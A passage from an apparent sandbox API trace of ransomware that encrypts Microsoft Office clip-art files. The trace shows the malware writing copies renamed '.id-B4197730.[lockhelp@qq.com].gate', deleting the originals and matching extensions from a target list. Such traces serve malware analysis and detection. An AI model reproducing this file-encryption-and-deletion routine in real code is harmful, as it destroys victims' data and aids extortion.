lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.034] WriteFile (in: hFile=0x4f4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.034] SetEndOfFile (hFile=0x4f4) returned 1 [0301.038] CloseHandle (hObject=0x4f4) returned 1 [0301.038] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.038] SetEndOfFile (hFile=0x554) returned 1 [0301.042] CloseHandle (hObject=0x554) returned 1 [0301.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.043] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 1 [0301.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0301.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0301.044] lstrlenW (lpString=".doc") returned 4 [0301.044] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.044] lstrlenW (lpString=".docx") returned 5 [0301.044] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.044] lstrlenW (lpString=".pdf") returned 4 [0301.044] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.044] lstrlenW (lpString=".xls") returned 4 [0301.044] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.044] lstrlenW (lpString=".xlsx") returned 5 [0301.044] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.044] lstrlenW (lpString=".ppt") returned 4 [0301.044] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0301.045] lstrlenW (lpString=".zip") returned 4 [0301.045] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.045] lstrlenW (lpString=".rar") returned 4 [0301.045] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.045] lstrlenW (lpString=".bz2") returned 4 [0301.045] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.045] lstrlenW (lpString=".7z") returned 3 [0301.045] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0301.045] lstrlenW (lpString=".dbf") returned 4 [0301.045] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0301.045] lstrlenW (lpString=".1cd") returned 4 [0301.045] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0301.045] lstrlenW (lpString=".jpg") returned 4 [0301.045] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.046] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2472) returned 1 [0301.046] CloseHandle (hObject=0x554) returned 1 [0301.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 0x220 [0301.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0301.047] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.047] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0301.048] GetLastError () returned 0x0 [0301.048] ReadFile (in: hFile=0x554, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x9a8, lpOverlapped=0x0) returned 1 [0301.332] WriteFile (in: hFile=0x4f4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x9b0, lpOverlapped=0x0) returned 1 [0301.333] ReadFile (in: hFile=0x554, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.333] WriteFile (in: hFile=0x4f4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.333] SetEndOfFile (hFile=0x4f4) returned 1 [0301.333] CloseHandle (hObject=0x4f4) returned 1 [0301.333] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.333] SetEndOfFile (hFile=0x554) returned 1 [0301.336] CloseHandle (hObject=0x554) returned 1 [0301.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.365] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 1 [0301.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0301.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0301.365] lstrlenW (lpString=".doc") returned 4 [0301.366] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.366] lstrlenW (lpString=".docx") returned 5 [0301.366] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.366] lstrlenW (lpString=".pdf") returned 4 [0301.366] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.366] lstrlenW (lpString=".xls") returned 4 [0301.366] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.366] lstrlenW (lpString=".xlsx") returned 5 [0301.366] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.366] lstrlenW (lpString=".ppt") returned 4 [0301.366] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0301.366] lstrlenW (lpString=".zip") returned 4 [0301.366] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.366] lstrlenW (lpString=".rar") returned 4 [0301.366] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.366] lstrlenW (lpString=".bz2") returned 4 [0301.366] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.366] lstrlenW (lpString=".7z") returned 3 [0301.366] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0301.366] lstrlenW (lpString=".dbf") returned 4 [0301.366] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0301.366] lstrlenW (lpString=".1cd") returned 4 [0301.366] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0301.366] lstrlenW (lpString=".jpg") returned 4 [0301.366] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.367] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=1026) returned 1 [0301.367] CloseHandle (hObject=0x554) returned 1 [0301.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 0x220 [0301.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0301.367] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.367] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0301.368] GetLastError () returned 0x0 [0301.368] ReadFile (in: hFile=0x554, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x402, lpOverlapped=0x0) returned 1 [0301.460] WriteFile (in: hFile=0x4f4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x410, lpOverlapped=0x0) returned 1 [0301.461] ReadFile (in: hFile=0x554, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.461] WriteFile (in: hFile=0x4f4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.461] SetEndOfFile (hFile=0x4f4) returned 1 [0301.461] CloseHandle (hObject=0x4f4) returned 1 [0301.461] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.462] SetEndOfFile (hFile=0x554) returned 1 [0301.464] CloseHandle (hObject=0x554) returned 1 [0301.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.485] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 1 [0301.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0301.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0301.486] lstrlenW (lpString=".doc") returned 4 [0301.486] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.486] lstrlenW (lpString=".docx") returned 5 [0301.486] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.486] lstrlenW (lpString=".pdf") returned 4 [0301.486] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.486] lstrlenW (lpString=".xls") returned 4 [0301.487] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.487] lstrlenW (lpString=".xlsx") returned 5 [0301.487] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.487] lstrlenW (lpString=".ppt") returned 4 [0301.487] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0301.487] lstrlenW (lpString=".zip") returned 4 [0301.487] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.487] lstrlenW (lpString=".rar") returned 4 [0301.487] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.487] lstrlenW (lpString=".bz2") returned 4 [0301.487] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.487] lstrlenW (lpString=".7z") returned 3 [0301.487] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0301.487] lstrlenW (lpString=".dbf") returned 4 [0301.487] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0301.487] lstrlenW (lpString=".1cd") returned 4 [0301.487] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0301.487] lstrlenW (lpString=".jpg") returned 4 [0301.488] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.488] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=1960) returned 1 [0301.488] CloseHandle (hObject=0x4c0) returned 1 [0301.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 0x220 [0301.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0301.493] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.493] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0301.494] GetLastError () returned 0x0 [0301.494] ReadFile (in: hFile=0x564, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x7a8, lpOverlapped=0x0) returned 1 [0301.602] WriteFile (in: hFile=0x4f8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x7b0, lpOverlapped=0x0) returned 1 [0301.603] ReadFile (in: hFile=0x564, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.603] WriteFile (in: hFile=0x4f8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.603] SetEndOfFile (hFile=0x4f8) returned 1 [0301.603] CloseHandle (hObject=0x4f8) returned 1 [0301.603] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.603] SetEndOfFile (hFile=0x564) returned 1 [0301.605] CloseHandle (hObject=0x564) returned 1 [0301.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.606] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 1 [0301.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0301.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0301.606] lstrlenW (lpString=".doc") returned 4 [0301.606] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.606] lstrlenW (lpString=".docx") returned 5 [0301.606] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.607] lstrlenW (lpString=".pdf") returned 4 [0301.607] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.607] lstrlenW (lpString=".xls") returned 4 [0301.607] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.607] lstrlenW (lpString=".xlsx") returned 5 [0301.607] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.607] lstrlenW (lpString=".ppt") returned 4 [0301.607] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0301.607] lstrlenW (lpString=".zip") returned 4 [0301.607] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.607] lstrlenW (lpString=".rar") returned 4 [0301.607] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.607] lstrlenW (lpString=".bz2") returned 4 [0301.607] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.607] lstrlenW (lpString=".7z") returned 3 [0301.607] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0301.607] lstrlenW (lpString=".dbf") returned 4 [0301.607] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0301.607] lstrlenW (lpString=".1cd") returned 4 [0301.607] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0301.607] lstrlenW (lpString=".jpg") returned 4 [0301.607] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.648] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=3016) returned 1 [0301.648] CloseHandle (hObject=0x4c0) returned 1 [0301.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 0x220 [0301.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0301.648] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.649] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0301.649] GetLastError () returned 0x0 [0301.649] ReadFile (in: hFile=0x4c0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0xbc8, lpOverlapped=0x0) returned 1 [0301.682] WriteFile (in: hFile=0x554, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xbd0, lpOverlapped=0x0) returned 1 [0301.683] ReadFile (in: hFile=0x4c0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.683] WriteFile (in: hFile=0x554, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.683] SetEndOfFile (hFile=0x554) returned 1 [0301.688] CloseHandle (hObject=0x554) returned 1 [0301.689] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.689] SetEndOfFile (hFile=0x4c0) returned 1 [0301.695] CloseHandle (hObject=0x4c0) returned 1 [0301.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.697] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 1 [0301.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0301.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0301.698] lstrlenW (lpString=".doc") returned 4 [0301.698] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.698] lstrlenW (lpString=".docx") returned 5 [0301.698] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.698] lstrlenW (lpString=".pdf") returned 4 [0301.698] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.698] lstrlenW (lpString=".xls") returned 4 [0301.698] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.698] lstrlenW (lpString=".xlsx") returned 5 [0301.698] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.698] lstrlenW (lpString=".ppt") returned 4 [0301.698] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0301.698] lstrlenW (lpString=".zip") returned 4 [0301.698] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.698] lstrlenW (lpString=".rar") returned 4 [0301.699] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.699] lstrlenW (lpString=".bz2") returned 4 [0301.699] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.699] lstrlenW (lpString=".7z") returned 3 [0301.699] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.699] lstrlenW (lpString="C:\\Program Files\\Microsoft 